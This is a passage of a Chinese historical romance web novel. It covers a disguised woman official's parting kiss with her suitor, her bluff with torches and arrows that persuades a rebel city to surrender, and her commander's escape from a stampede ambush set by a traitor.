只不过经她一躲之后,解衍便不亲了,不再越雷池一步,有点笨。 直到站得腿都开始发酸,白惜时伸手推了推解衍,“先让我把东西收拾好。” “嗯。” 指尖轻抚过她的脸,男子应声退开,继而看着白惜时将手中之物塞进了包袱的最底层。 眼看时间不早,二人各自去沐浴,待到回来之时,白惜时便兀自坐在窗前涂抹孟姑姑送来的润肤膏,见解衍一直在旁看着,遂问了一句,“眼下天气干燥,你可要试一试?” 解衍起身,走了过来,搬了把凳子坐于白惜时身边,却没有接那瓶递过来的香膏,而是就这么一瞬不瞬的看着她,什么意思,不言而喻。 看在自己马上就要启程的份上,白惜时便遂了他的意,把那润肤膏抹匀了在手上,继而给解衍涂去,不过她凃的可没对自己那般温柔,甚至带着些作弄的意味,把解衍的一张俊脸揉得乱七八糟。 明知她是故意也没生气,解衍虽嘴角挂着无奈,但还很配合的笑了。 是的,他笑了,笑得那么好看,玉面郎君,温朗纵容,在本就暧昧的烛火下更加光华流转,笑得白惜时一个没忍住,竟也鬼使神差的凑上前去,在他的颊边缓缓印上一吻。 然而这个动作做完后,两个人都愣住了,解衍瞳孔骤然一缩,转头看向白惜时。 瞧见对方反应这般大,没忘记自己掌印的身份,白惜时看起来尽量理直气壮,“还一个。” 方才你亲我,现在我还一个给你,这很公平,没什么好大惊小怪的。 但很快,似有惊喜和星光在男子的眼中蔓延开来,嘴角噙笑,目光亦在白惜时的身上流连,继而丢弃了一直以来的自制与束缚,男子走向白惜时,拥住她,让她紧紧贴向自己。 低头之际,温柔的吻亦同步落下,先是双眸,再是鼻尖,最后落在那一双水润的朱唇,浅浅厮磨,摩挲舔舐,继而撬开她的唇齿,情意在彼此舌尖辗转缠绕…… 这是一个缱绻绵长的深吻,结束后二人都有些轻喘,白惜时大脑亦出现了短暂的空白,最后是解衍身上滚烫的温度,以及那存在感极强的朋友将她拉回了神志。 白惜时目光隐晦,低头看了一眼。 解衍却仍拥着她,只兀自闭眼稳了会心神,“没事,不用管。” “我是没打算管。” “你还打算让我管?”抵住男子胸膛,白惜时拉开二人之间距离。 她还没答应他,他就想着让她管? 闻言,男子又不得不多平复了一会,继而露出个苦笑,“掌印一定要在这种时候说这些吗?” 好像是有那么点煞风景,白惜时识趣的没有再继续说下去。 然而在各自回房睡觉前,他却听男子突然没头没尾的对她说了一句——“以后得管,掌印。” 第87章 第87章 出征当日,尘烟缭绕、旌旗招摇,寒风中主将滕烈褪下飞鱼服,一身战甲端坐高头大马之上,映衬的男子越发冷峻威严。 俯看列队齐整的大军,男子回头望了一眼此刻同样策马上前的白惜时,待后者几欲与其并肩,男子一抬高臂,喝下一碗誓师酒,继而睥睨远方,一挥马鞭,顿时间城门之外铁蹄铮铮如雷鸣,在主将的带领下,大军踏着飞扬的尘土朝着辽东进发。 白惜时起先亦骑马前行,但时间久了,还是选择了马车,越往北走风雪更盛,长时间的行军对整个人的体力都是一种考验,而她也比旁人多了一层隐忧,那便是尽量少生病。 在必要的时刻,多保存一分体力,便少一分暴露的风险。 离京前夕,解衍去药铺给白惜时备上了许多常用草药,用于治疗风寒、胃痛、腹泻等症,并分门别类贴上了标签,便于白惜时辨认。如此寻常小疾不需就医便可直接着人煎药饮下,也算是解决了白惜时的部分后顾之忧。 此刻这堆草药正满满当当装于马车后方的一个木箱,看向这个平平无奇的木箱,白惜时的胸膛仿佛亦被什么填满。 这便是有人牵挂的滋味? 不过……不知为何又忆起了临别前夜的那一吻,白惜时后知后觉,此时才惊觉解衍表现的竟然不像看起来那般青涩,该不会他根本就不是第一次吧? 那自己岂不是被比下去了? 正微微出神、胡思乱想之际,此时马车速度逐渐放缓,继而停了下来,没过一会便有小将来报,说是今夜恐来不及赶到下一个集镇,计划就在山脚下的平原安营扎寨,主将着人询问掌印可有什么意见。 闻言抛却杂念,白惜时掀帘走下马车,此处平缓背风,在野外确实是较为适宜的暂歇之地,她自然没什么异议,遂回复“一切以主将的意见为准。” 奔波了一整日的大军安顿了下来。 此次行军速度很快,将领和兵士面的面庞上也都显露出疲惫,概因辽东兵变牵扯进敌国后越,情势变得更加瞬息万变,兼之先前奔赴辽东的兵部尚书刘易腿疾复发,日日在病榻上指挥作战,实在支撑不了太久,所以白惜时一行需得尽快赶到。 眼下天色已然完全黑了下来,篝火一束一束亮起,没过一会,饭菜的香味便在山脚下飘散了开来。 白惜时在小将的带领下被引到了最大的一堆篝火旁,此时滕烈和副将郭明、朱文杰等人正借着篝火的亮光,围着一张地图商讨着如何进一步缩短行军时间,并安排部署到达后的初步作战计划。 见到白惜时过来,郭明、朱文杰均起身恭敬道了一声“掌印”,其实本次出征前得知由白惜时监军,除了滕烈,其他人都比较有压力。所谓官大一级压死人,而白惜时显然是內宦当中的最高掌权者,他若是难伺候,或是与主将意见相左,都是一件极为难办之事。 不过出乎意料的,主将与监军二人竟然出奇的和谐,比方说现在他走过来,滕烈便自然而然往旁边让出一个身位,将最佳的烤火位置留给了掌印,白惜时便也就这么坐了下来。 二人之间甚至不存在客套。 继而在后续的行军商讨中,白惜时也参与其中,但多以倾听为主,偶尔有疑问的才会开口,总而言之,尊重主将一切决定,也是真真正正在行使监军之责,并未有喧宾夺主之意。 如此便也让郭明等人越发放下心来。 待行军部署商讨完,这个时候兵士亦将做好的饭菜也端了上来,都是些炒米、黄豆、风干牛肉等好携带的干粮,将领与军士们吃得没什么不同。 就是那牛肉太干硬了些,白惜时咬得费劲。 通过这几日的相处,众将领们也稍稍摸清了些白惜时的脾气,他人虽看上去倨傲了些,却也是个讲道理之人,许多玩笑亦开得,遂这个时候郭明便提醒道:“掌印,牛肉放在火上烤一烤,滋味会好上许多。” “是吗?” 白惜时闻言便欲去找木枝烤肉,不过还未起身,朱文杰便已捡了几根长度适宜的回来,待用水冲洗干净,便一人递过来一根。 正事谈完,众人专心致志烤牛肉,没过一会肉质的香味便传来,白惜时待稍稍冷却凑近尝了一口…… 一口吃完,滕烈转过头来问她,“如何?” 白惜时:“不错,好嚼多了。” 此言说完,滕烈便将自己手上的那块也递给了白惜时。 白惜时没什么太大的反应,只说了句“不用”,一块已够,想吃她自己动手。 但白惜时没什么反应,不代表其他人没反应,需知他们认识的锦衣卫指挥使向来冷心冷性,不畏强权,但如今在几人看来也不尽然,他不畏强权吗? 应该是畏一点的罢,他至少一路上对掌印都算得上和颜悦色。 虽然他那一张冷脸和颜悦色起来也跟没什么表情差不多,但他没表情啊,他就只对掌印没表情,对着旁人都是又冷又硬。 郭明认识滕烈认识的早,更知道他被家中诓去参加游会,对着无数京中贵女都是那副臭脸,吓得无人敢主动上前跟他搭话,因而眼下这样,怎么能不算是一种和颜悦色? 不过众人意外也就意外一瞬,掌印毕竟位高权重,且此行又需共事,指挥使此举实际算得上明智。 只不过与他们平日里认识的滕烈有些出入罢了。 吃完饭后,又被暖和的篝火一熏烤,不知是不是因已经离家好些时日,男子们便开始说起夫人孩子,继而部分男子的劣根性显现出来,偶尔还会提及一些闺房之事,开一些带颜色的玩笑。 白惜时听得……怎么说呢,不是很适应,倒不是她听不得那些玩笑,而是言语中对女子的轻视、不尊重让她不喜。 不喜欢便没有伪装的必要,白惜时起身,直接离开了。 直到白惜时离开,众人神色一凛,意识到掌印是內宦,说这些不知是不是刺激到了他,相当于往人家心窝子里捅刀子。 滕烈见状亦蹙眉叫停,起身,随白惜时走了出去。 走了没多久便看见男子跟了上来,白惜时停下脚步,滕烈率先开口,“他们说话粗放惯了,掌印不喜,日后我会加以约束。” 闻言倒是一摇头,白惜时:“行军在外枯燥辛苦,开点玩笑咱家可以理解。” “不过是这话题咱家参与不进去,不如回去睡觉。” 说到这里下意识看了眼来时的方向,白惜时又感慨了句,“思念家人,其实亦是人之常情。” 说完这句话便欲回到马车之中,然而将她最后一刻的表情收入眼中,滕烈突然在身后问了句,“掌印也有思念之人?” 闻言脑海中立即浮现出的一张清隽俊逸的面庞,白惜时想了想,左右滕烈又猜不到那人是谁,索性大方承认,“当然有。” 听到如此答复,薄唇骤然绷直,意外中回想起那日解衍喝水的一幕,男子握了下拳,应当在心中已然猜到了答案,但隔了片刻,滕烈问的却是“解柔云?” 不知道当下为何会这般问,可能是知道白惜时会有所顾忌,亦或者是,不想直面答案。 白惜时听完笑了笑,“不是柔云,咱家与柔云可是清清白白,日后还筹备着给她寻觅个好人家。” 其实说到这里便可以结束,但分离似是更加叫她明白了对方在自己心中的分量,按捺不住提气那人时的悸动,白惜时遂又补充了一句,“是府上其他人。” 滕烈:“女子?” 白惜时不想叫人猜到,将错就错,“当然是女子。” “没听掌印提起过。” “这种事咱家跟你提起做甚?”说到这怪异看了滕烈一眼,白惜时反问他,“你与哪家姑娘相看会与咱家说吗?” “没有。” 他回答的不是“会”或者“不会”,而是“没有”,没有相看。 白惜时没太往心里去,“多半也知道你没有。” 然而在白惜时看不见的地方,滕烈动了动唇,又问了一句,“很好吗?他对掌印。” 他。 “很好。”闻言,白惜时这一次回答的不假思索,继而眼中跃动着光芒,如明珠流离,又肯定的重复了一遍,“很好。” 看到白惜时这般果决的点头,喉咙像是被什么东西堵塞,滕烈停顿了许久都没有说话,等到再开口时,一贯冷冽的嗓音亦变得有些沙哑。 他笑了,笑得不那么自然,可能因为这辈子也没对什么人笑过,“那我们便争取早些平息辽东之乱,早日回京。” 白惜时听完亦笑了起来,“如此甚好。” — 五日之后,大军顺利抵达辽东,然而在白惜时一人刚落脚不久,京中急报便紧跟着传来。 滕烈、白惜时走至案边,将薄薄的信件撕开,当二人展开纸张,面上却同时变了色。 只因书信之中只写了简短的四个字——祈王暴毙。 第88章 第88章 祈王暴毙,无异于让先前白惜时与滕烈的猜测得到证实,他有极大可能参与了定国公谋反。 祈王虽常年缠绵病榻,却都不是什么迅速致死之症,他甚至偶尔还可出门,而他的暴毙,特别是选择在了滕烈与白惜时离京之后,更像是是有人想要叫他死。 只有死人才不会说话。 定国公谋反失败,天子从重处理有杀鸡儆猴之意,因而所涉之人均被斩杀,甚至牵连连坐,祈王似乎被天子如此手段吓破了胆,并逐渐与太后离心,此刻太后又察觉他被锦衣卫盯上,担心事情败露,自然不会留他的性命。 相较于城府较浅的祈王,身处深宫的太后要难查的多。祈王死了就无迹可寻,便可自保,所以祈王留不得。 但又不能当着滕烈在京的时候谋害,以免引起注意,叫人顺藤摸瓜查出端倪,所以,她们等到了大军离京后动手。 此番滕烈、白惜时离京,应当正中太后下怀,甚至里头不乏她操控运作的结果。 按理说,除非帝王御驾亲征,掌印是很少会参与监军的,而贵妃所听信的方士之言,又是否也出自太后的授意? 白惜时不得而知,但意识到事情的严重性,她与滕烈对视一眼,都明白此事不能再拖,也不能再等了。 二人分别修书一封。 滕烈写给的是蒋寅,命他暗中查清祈王暴毙原委,万不能引起太后警觉,继而第一时间回禀圣上。 而白惜时写给的是解衍,想了想,信面上最后只留下了三个字“助蒋寅”。 这个时候几乎可以断定祁王与定国公谋反有关,而查出祁王真正死因便相当于有了证据,应当第一时间向天子禀报,因为小皇子眼下还在太后的慈宁宫养着。 白惜时甚至开始怀疑太后照料小皇子的用心,定国公已亡,她教养皇子是为多一分自保的筹码,还是仍然藏着谋反的野心? 越想越是心惊,但人在辽东鞭长莫及,写完信件后,虽然心中疑虑重重,但二人还是将主要精力投入到了平乱辽东之事上。 白惜时相信蒋寅的稽查能力,也相信解衍的缜密谋略,更相信天子若是得知此事,定能未雨绸缪,平稳处置好一切。 而辽东眼下形成了一个两难的困局。经兵书尚书刘易的前期部署,大魏军队已经攻下兵变士兵占据的多处城镇,唯今只剩下金舒城这最为重要的一个据点。 按理说拿下金舒城,此役便成功了大半,但难就难在,敌国后越眼下趁乱参与其中,从北面开始进攻辽东。 如果出兵去打西边的金舒城,那么大本营很可能被后越袭击,出现失守的风险,但如若专心对付后越,兵变的士兵还会以金舒城为据点,继续向西扩张,如若失去眼下这个时机,之前刘大人的努力便会白费,辽东又要陷入一场漫长的持久战。 分析完眼下情势,郭明怒骂了一声,“这他娘的后越狗贼,不仅策反我大魏将士,眼下还给咱们玩了一通围魏救赵。” 主帐之内众人陷入沉寂,将领们都在等待滕烈定夺,但大部分人都更倾向于向东迎击后越,先解决外忧,然后再处理兵变内患。 白惜时亦望向此刻凝眉不语的男子。 滕烈盯着眼前的沙盘,良久之后,目光透出一股不容置疑的坚定,声音铿锵有力,“两面出兵。” 此决断一出,众人哗然,需知眼下辽东兵力并不足以双面作战,若是一分为二,那就变为任何一边都没有必胜的把握,如此造成的后果便是若是两边皆败,很有可能让自己陷入腹背受敌的险境。 明日计划返程的刘尚书听完甚至挣扎着从病榻上坐起,坚决反对道:“此举太过冒险,万万不可。” 他甚至开始不放心就这般放手回京。 滕烈尚未解释之前,在场几乎没有人支持他的决定,皆是一副质疑之态,白惜时听完亦沉吟了一会,继而摩挲着下巴开口道:“咱家倒是觉得此举可行。” 众将士听完又是一阵惊诧,目光在二人之中逡巡,这,这二人不会是徒有其名,实际上皆不精通兵法作战之人吧? 滕烈闻言,移目,向白惜时望了过来。 因为熟悉,一同协作过的次数多,所以其实在听完他的决断,白惜时便大致明白了滕烈的用意。我方兵力不足以支撑双面作战,是我方知晓的事实,但后越和金舒城中兵变的军士知道吗? 未必! 他们刚从南面到达辽东,带来了多少兵力,后面又还有没有尚未到达的军队,是对方暂时没办法掌握的,滕烈是想用这样一个信息差,让敌方以为大魏派来的兵力足以支撑双面作战。 至于以何种形式来骗过两方,白惜时觉得,应当是用时间差。 主要兵力向北集中对付后越,然后另带一小队人马向西,骗过金舒城当中的守将,以为大部分军队实际上是直扑金舒城而来。 那又如何才能营造出这样误导金舒城守将的假象?白惜时方才其实就是在思考这个症结,继而一侧首,恰巧看到外头已然黑沉下来的天空,没错,夜晚,可以利用火把制造人多的假象。 夜间,只要亮起的火把够多,应当足以迷惑守城士兵,以为大军集结正向着金舒城进发。至于举火把的是谁,是人还是绑在牲口、板车上,夜间难以分辨。 思及此,白惜时盯着沙盘将自己的想法和盘托出,询问滕烈可是此意? 众人听完面色又是一变,继而目光移向主将,在看见男子认同点头之后,帐内将士长舒一口气的同时皆拍案称奇,主将和监军原来是此用意,此法可行,若是成功,或可花费最小代价拿下金舒城。 刘尚书亦忍着腿疾沉吟片刻,继而在接下来的行军商议中,亦没有再出言阻拦。 认可行军安排之后,后续便是排兵布阵,最后确定由滕烈、朱文杰分别带领两路大军向北夹击后越,而白惜时则与郭明率一千骑兵前往金舒城而去。 听闻掌印此番会与自己同行,郭明还有些不大好意思,“万一被识破还是会有风险,掌印您是监军,还是待在营帐中罢。” 白惜时不想待在后方吗?她当然想,但此行去金舒的用意不是攻城,概因以一千骑兵根本攻不下那座固若金汤的城池,此行的用意,是劝降。 让对方迫于大军压境的夹巷,在天明前,主动打开城门。 郭明领军打仗的功夫或许可以,但他为人敦厚,不是善于言辞之人,让老实人去行骗,会有穿帮露馅的可能。 而机会只有一次,错过即逝,所以白惜时得跟着,说得通俗点就是给他撑场面,毕竟白惜时在拿捏威势、摆派头方面颇有心得,同人吵架也少有败绩,向来没理都能辩回三分。 只要她愿意,她就能将“不好惹”三个字焊死在脸上。 第二日清晨,大军整装待发,临行前,滕烈穿戴好泛着银光的战甲,高大的男子眉宇间一片锋利森然,然而在翻身上马之前,他却突然回头,走过来,对着白惜时道了一句,“金舒城若情况有变,掌印莫要强求,以安危为先。” 白惜时朝他挥挥手,“说点吉利话吧,我此行比你安全,指挥使多保重。” “保重。” 说完这句话,又冲白惜时一点头,滕烈继而长腿一跨,翻身上马,带领着大军浩浩荡荡向北边进发。 白惜时亦与郭明往西边的金舒城而去。 一连疾行了三日路程,第四日,当天色完全黑下来,白惜时命骑兵们点燃火把,并在路过之地每隔一段距离便绑上几个,如此营造出人多势众之感。 眼看就快要到金舒城,郭明因兵力不足,马上就要开始招摇撞骗而越发紧张,一紧张,他便想要与白惜时说话分散注意力。 “掌印,为何指挥使只说几个字,您便能猜到他心中谋划?” 望着遥遥出现的金舒城城墙,白惜时:“因为咱家聪明” “咱们私下里都说,您和指挥使真是有默契的紧,怪不得天子会安排您二人一同坐镇辽东,您看指挥使对您也是敬重有加,临行前还特意走回来跟您道别,嘱咐安危。” “嗯,因为咱家值得人敬重。” “……” “掌印。” “嗯?” “咱们此举能成吗?”郭明捏了把手心中的汗,最终还是问出了心中忧虑。 目光射向已经集结在城门上的守军,白惜时气定神闲,声线笃定,“能成。” “有咱家在,就没有办不成的事。”说到这里侧头看了一眼郭明,“把你的心放回肚子里。” 伸手,接过身后小将递过来的弓箭,白惜时驱马前行,最后在城门射程范围外停了下来。眼看上头的人就要放箭,白惜时一声令下,熄灭前段数百盏明火。 其实能不能成她亦不知,但她要做的第一件事,便是给郭明,以及后头的一千骑兵树立一个信念,一个一切尽在掌握,此行必可打开金舒城门的信念。 如若她都露怯?那便毫无胜算。 拿出皇帝亲笔书下的招抚玺书,绑于箭尾,继而手挽长弓,白惜时独行上前,对准城门上的守军空档,随着“噌”的一把弦声嗡鸣,那箭便如长虹贯日,直插入城楼高台。 与此同时,白惜时的声音在黑漆漆的城楼外响起,“辽东巡抚陈越斩杀无辜军民,冒领军功,天子得知震怒降罪,下令斩立决。当前,天子已明了各位军将不得已的苦衷,特派我等安抚宣慰,诏书方才已随箭奉上,诸位大可取下一观。” 说话间,那箭上的文书早已被取下,呈与城门守将。 见状回头望了一眼身后蜿蜒如长龙,一眼看不到尽头的火把队伍,白惜时的声线更加威肃俨然。 “降,则仍是我大魏子民,之前种种既往不咎。战,便是与后越勾结反身背叛。而我大魏对子民宽容,对叛军却绝不留情,今日天明前城门若是未开,我十万铁蹄必定踏平金舒城!” 说完稍待片刻,等城楼之人放下招抚书,白惜时才不紧不慢又问了一句,“怎么样?诸将士想好了吗?” 第89章 第89章 白惜时朗声问完话后,城门并没有第一时间打开。 她有过这样的预料,并不气馁,如若只是这么一番话就能叫城门大开,估计刘尚书亦早已敲开金舒城的防守。 而她更清楚,其实此刻不愿妥协的是将领,并不是人数众多的兵士。 将领是兵变的领头者,很有可能已被后越策反,早就勾结在一起,即便有招抚玺书在,他们仍怕被秋后算账、革职问罪。 因为被逼兵变和投敌反叛,本来就是两码事。 而白惜时眼下要做的,是继续动摇军心。 一声令下“放箭”,顷刻间数百支箭矢朝着城楼而去,起先守军还慌忙准备迎战,继而发现射来的箭矢上并没有箭头,而每一根箭身上都绑着一根纸条。 疑惑之下,不少人都将那纸条拆了下来,上头的内容其实与方才招抚玺书上的一致。 那是在出发金舒城前,白惜时与人花费了大半个晚上誊抄出来的,为的就是今日一用。 与此同时,郭明又高声将玺书上的内容宣读一遍,而城楼上的守将此刻已下令放箭还击,试图打断郭明,但望着身后曲折看不到尽头的明火,许多兵士都迟疑了。 敌众我寡,这场战,打不赢。 大军压境,即便只是不战而围,用不了一段时日城中的粮草耗尽,依旧是身死异乡的下场。 可眼下,还有第二种选择。借着火光,许多人看着那封誊抄下来的招抚书,即便不识字,方才的郭明高声宣读的声音仍字字萦绕在耳。 辽东巡抚陈越已被问罪,朝廷承诺既往不咎,他们还有活的机会…… 箭矢稀稀拉拉向城楼下射过来,不再带有誓死守城的决心,眼看时机成熟,白惜时又朗声问了一句,“父母妻儿均在大魏,诸位将士,真的不想回家吗?” “如若还想尽子之孝,尽夫之责,打开城门!尔等不是罪人,仍是我大魏浴血沙场,捍守国门的兵!” 说完这句话后,白惜时该做的便已经都做了,此时唯剩等待。其实她亦没有表现出来的那般胸有成竹、气定神闲,一颗心悬在半空之中,攥紧拳头等待着最后的结果。 时间一点一点过去,城楼上先是起了一阵骚动,继而本就杂乱无章的箭矢也逐渐停止,不知等了多久,最后随着“嗡隆”一声巨大的轰鸣之声,固若金汤的金舒城门,就这样在白惜时、郭明面前打开了。 火把明灭,人影攒动,金舒城的兵士和百姓们不顾守将反对,联合起来为大魏骑兵打开了一条入城通道。 成了!望着黑夜之中洞开的城门,白惜时的一颗心终于落地。 郭明亦面上难掩激动,手持缰绳,随他一起纵马入城。 兵变的军士见到来人纷纷放下武器,跪地接旨,即便在天明之后得知大军根本未到,但彼时金舒城已被白惜时、郭明接管,后悔无用。 何况乎入城将领确实信守诺言,并未问罪,兵士们亦想要归家与亲人团聚。 后面的一应事宜便顺利起来,在接管了金舒城后,白惜时留守,郭明带着部分守军和八百轻骑,继续追剩下的据点而去。 金舒城后的兵变之士势单力寡,郭明一路势如破竹,费了不到一个月的功夫便追回收编了绝大部分军队。 捷报一封封传回大本营,亦给正在与后越激战的大魏军将吃了一颗定心丸,解了回顾之忧。 等到白惜时再回去辽东大本营,已经是四十日之后,此时大魏与后越也已在北部边境完成几轮交战,滕烈沉稳于阵前指挥,待到开春之际,亦将后越彻底驱除出境,不敢再犯。 两个月过去,一切推进的都比想象中还要顺利,唯剩解决完最后一件事,他们应当就可以归京。 那便是捉拿被后越策反的两名参将,后越撤退的时候将两名大魏叛将一同带走,二人知道大魏不少边防机密和排兵布阵套法,如若此二人长期留在后越,必将后患无穷。 因而最后一战彻底击退敌军后,滕烈并没有随大部队归营,而是卸下战甲,与朱文杰带上一队骑兵策马追逃军而去。 后续不再是激战,而是追踪缉拿,能活捉那二名参将便活捉,不能活捉,寻机会射杀。 但后越军队撤退的道路上,有一处飞天关,两侧均是高崖,中间唯剩一条低谷走道,此地易守难攻,如若让后越得知有大魏将士于后追踪,埋伏于此处,几乎可使其全军覆没。 当得知大军即将归营,但滕烈与朱文杰带着一队轻骑追去了飞天关,白惜时思量此举虽涉险,但滕烈在两军对阵之中都可临危不惧、指挥若定,必当会提前规避,不在飞天关给敌军可乘之机。 思及此,白惜时掀帘走出了主帐,她预备静待佳音,顺带收整行装,然后等滕烈此次回来,一行人等应当便可踏上返京之程。 在回自己营帐的路上,白惜时偶然听见了两位小将谈话,起先并未放在心上,向前走了几步才倏然一顿,回首确认。 “你们说在返程路上遇到什么人?” 那两个小将被白惜时严肃的表情吓了一跳,以为自己说错了话,停了半晌才重复道:“巡防民兵。” “多少人?” “就两、三个。” 征纳辽东当地男子农闲时担任民兵,巡防边境不是很正常的事吗?掌印的表情为何如此惊讶? 白惜时蹙眉不语,巡防民兵? 然前几日她曾听郭明提及,这几日因敌军被驱逐出境向北奔逃,短时间内不会反扑,民兵们都被调去守卫粮仓。 那为何会有这么几人仍出现在边境? 不过如若只有两、三人,也确实可能是留守下来。 本想找郭明再次确认,不想他又去往了金舒城,白惜时思来想去左右无事,最后还是决定去两位小将所说之地探探虚实,以免有他国细作趁乱混迹进辽东。 然而在边境,白惜时并未遇到两位小将提及的巡防民兵,反倒是前头离飞天关不远,策马又向前行了一段路程,白惜时恰巧遇到从飞天关回程的一行商队,一经打听,得知飞天关风一路平浪静,商队一路行来并未发现有打斗过的迹象,白惜时听完心下更加坦然,看来滕烈一行果然顺利走了过去。 正准备打马回城之际,前方突然传来一阵地动山摇般的轰动之声,恰是从飞天关的方向,白惜时神色一凛,本来已经调转的马头又重新调拨回去,继而单手持缰,向着飞天关的方向纵马疾驰。 她其实没有猜透眼下的情势。 按理说后越、滕烈应当早就已经经过飞天关,若是顺利的话,此刻应当返程,那这么大的动静又是为何? 另一边。 滕烈一行确实顺利度过飞天关,并在后续的追踪中成功射杀两位大魏叛将,同时一路回奔,逐渐与后越追击队伍拉开距离,最后在返回飞天关时,后越几股追击队亦担心大魏将领会埋伏于此,不敢深入,即便不甘心也还是不得不放任滕烈一行策马扬长而去。 事情进展到这里,仍然十分顺利。回程的骑兵们也终于放下警惕,于狭长的山谷间展开笑颜,商讨着回去如何大醉一场,再睡他个三天三夜。 高崖险峻,山风呼啸。 然而就在这个时候,地面隐隐晃动,身下马匹发出不安的嘶鸣,紧接一行人便瞧见前方黄土漫天,继而一阵不同寻常的悲鸣之声传来,且动静越来越大,显然是有一大群体积庞大之物向着此处急速奔袭而来。 尘土扑面而来之际,滕烈目光锋利,果决下令,“下马!登崖!” 众骑兵听令分别向两边散去,与此同时,所有人于这惊天动地的踩踏声之中也终于看清了所来何物——野牛群,受惊的野牛群! 这是火牛阵!从南边而来的火牛阵! 他们竟然于回程之中了埋伏。 而后越在北,逃亡之际绝不可能从南面设伏,也就是说,是自己人? 思及此一双冷目犹如鹰隼,滕烈很快意识到,军中有内鬼! 第90章 第90章 骑兵死死抠住石缝向上攀爬,但悬崖壁陡峭,着力点难寻,唯有借助强大的臂力维持,稍有不慎便会从半空坠落消失在漫天黄沙之中,顷刻间被激怒的野牛冲撞踩踏致死。 牛群数量比想象的还要多,随着时间流逝,有人开始难以支撑,手臂颤抖不断向下滑落,指甲在石壁上留下一道长长的血痕,最后绝望哀嚎,清醒坠落,随着一声惨叫,血肉横飞、尸骨无全。 悬崖直插山谷,绝不是利于攀附之势,骑兵不停掉落,有的甚至为活命在最后一刻奋力一搏,企图抓住同伴救自己一命,然事与愿违,结局却是二人一齐掉落,被牛角顶起,落下,再顶起…… 刺鼻的血腥味在山谷之中蔓延开来,野牛强大的冲撞力让精壮的汉子也如同一个破布口袋,毫无招架迎击之力。 谁会想要他们的命?内鬼又是谁? 扑面的尘土中惨叫不绝于耳,滕烈眸中寒潭一片,他带来的骑兵不死于浴血战死,不死于抵抗敌寇,而是死于自己人的陷害,死于内斗。 再如此下去,幸存者不足三成。 不可坐以待毙! 目光一寸寸在悬崖间刮过,正另寻他路之际,旁边的朱文杰突然兴奋朝上示意,“主将您看,上头似有一突出的石壁。” 男子循声望去,悬崖之上藤蔓密布遮挡视线,但经朱文杰提醒,细观之下左上方确像是有一块石壁,且距离不算远,如若登上,可规避力竭之险。 朱文杰此言一出,周遭之人皆朝上头望去,继而还有力气的已经开始动作,小心寻觅踩踏着可以借力的缝隙,朝着上头突出的石壁攀爬而去。 火牛阵过后不知还有无追兵,若是可躲于石壁之上,兴许能逃过一劫! 所有人都这样想,所有人也都想要活命无暇顾及多虑,但滕烈没有动。 概因藤蔓之上再无遮挡,如若有人埋伏在悬崖之上,那立于石壁无异于砧板上的鱼肉,随便几个射手就能要了所有人的性命。 但滕烈亦无法严令阻止,概因他知道许多人已是强弩之末,无力支撑,与其被野牛冲撞致死,至少上头看起来还有一线生机。 “警惕埋伏!助力竭者先行登壁!”滕烈沉声下令。 经此提醒,一部分尚可支撑者停下了动作,因为上头确实还存在着另外一种可能——那便是冰冷的箭矢正集中对准石壁,只要一冒头,便是万箭齐发之势。 当第一个人登上石壁,所有人都在紧张等待着他的反应,没过多久,那人扯开嗓门,于野牛奔腾间将声音传了过来,“禀主将,未发现异常。” 此言好似一锤定音,更多的人开始向石壁上攀爬,但滕烈坚持下令,能支撑者继续支撑,野牛阵不会再持续多久。 而上头,未必就比下面太平。 朱文杰闻言,询问滕烈,“主将既不放心,可要亲自上去一观?属下为您断后。” 滕烈看向他,“可。你先,我断后。” “是。” 朱文杰未见任何异状,开始向上攀爬,而滕烈冷眼向上,紧锁朱文杰的每一个动作,他于绝壁之间攀爬熟练,即便有所收敛隐藏,甚至还刻意脚滑了两次,却仍非普通兵士将领可以做到。 滕烈紧随其后。 当朱文杰顺利登上石壁,很快,他的一只手透过藤蔓伸了下来,“主将。” 他是想要拉滕烈上去。 盯着那只意味着善意的手,有一道厚厚的藤蔓阻隔,滕烈看不真切上头之人的表情,但停顿了须臾,男子将手递了过去。 野牛奔腾,狂风横扫。 以滕烈的臂力,不需要任何人出手相助。 但他还是伸出了手,他在赌朱文杰,也是在赌自己。 然而当男子全身重量都坠于他人一臂之时,电光火石间,上头的那只手仿若意外一滑,继而就这样堂而皇之的在滕烈面前,松开了! 视线的阻隔无法叫其他人知道下头的情况,朱文杰趴于石壁边,失声痛呼,“主将!” 没有回应,唯于山谷之中回音空响。 朱文杰声线悲切,见此情状不少登壁的骑兵惊诧惶恐,怎么可能,主将怎么可能失手! 而朱文杰弯腰下探,痛不欲生,在他人看不见的地方,缓缓勾起唇角。 成了! 不过笑意尚未达眼底,一支破空的利箭直穿山风而来,紧接着一声刺破揉皮肉之声,朱文杰瞪大双眼,闷哼回头,高高的悬崖上头,一群黑衣人手持箭弩,虎视眈眈。 “杀,不留一个活口!” 随着一声令下,冰冷的箭矢如雨幕一般袭来,石壁之上的人想要躲避,却再无余地…… 无人生还。 朱文杰低头看向身上插着的数根箭矢,难以置信……不是说好的,将滕烈骗至石壁之上射杀? 他已经在滕烈未登壁之前便杀了他,却原来,连他也没准备放过。 不过都是棋子罢了! 鲜血从口中喷出,朱文杰死不瞑目,黑衣人首领见状一挥手,“活要见人,死要见尸,走,绕去下头看看!” 山谷当中,此时的野牛已经跑远,尚在悬崖边苦苦支撑之人,纷纷跃下,四散逃去。 大队黑衣人开始搜捕幸存者,而其中更重要的,是寻找主将滕烈的尸首。 悬崖高处,只余几人望风,这时候一只有力的大手攀住悬崖边缘,一个纵身,悄无声息的跃了上来。 不错,滕烈并没有坠落,明知朱文杰不对劲,他在将一只手交给对方之际,已然勾住藤蔓,另一只手亦紧紧钳入石壁缝隙…… 望风之人已然放松警惕,没想到此刻还有一个大活人能够跃上石壁,一个愣神后急忙放箭,却只是这一丝丝的停顿,已足以让滕烈闪身紧贴于悬崖内侧。 然而之后便是相继倒地之声传来,同时,再无箭矢落下。 诡异的寂静…… 沙石滚落,脚步声靠近。 男子已然一副蓄势待发之势随时准备应对各种突袭,但贴于墙壁静待许久,并未有任何异动,捏紧拳头,他冷眼探身向上望去…… 男子愣住了,时间仿佛被定格在一瞬,直到对方惊喜唤了一声他的名字,滕烈才猛然卸下力气,眨了下眼。 “滕烈!”眸中亮芒一闪,白惜时很快蹲下身,继而回身看了一眼四周,“等着。” 猝然出现,又转眼消失,不知为何,一股陌生的情绪在男子胸腔之中翻涌沸腾。 而白惜时这边是纯粹的喜悦。 他果然还活着! 听到不同寻常的动静便纵马疾驰赶来,遥遥见悬崖边站着一群黑衣人,白惜时弃马步行,影藏在黑衣人之后。 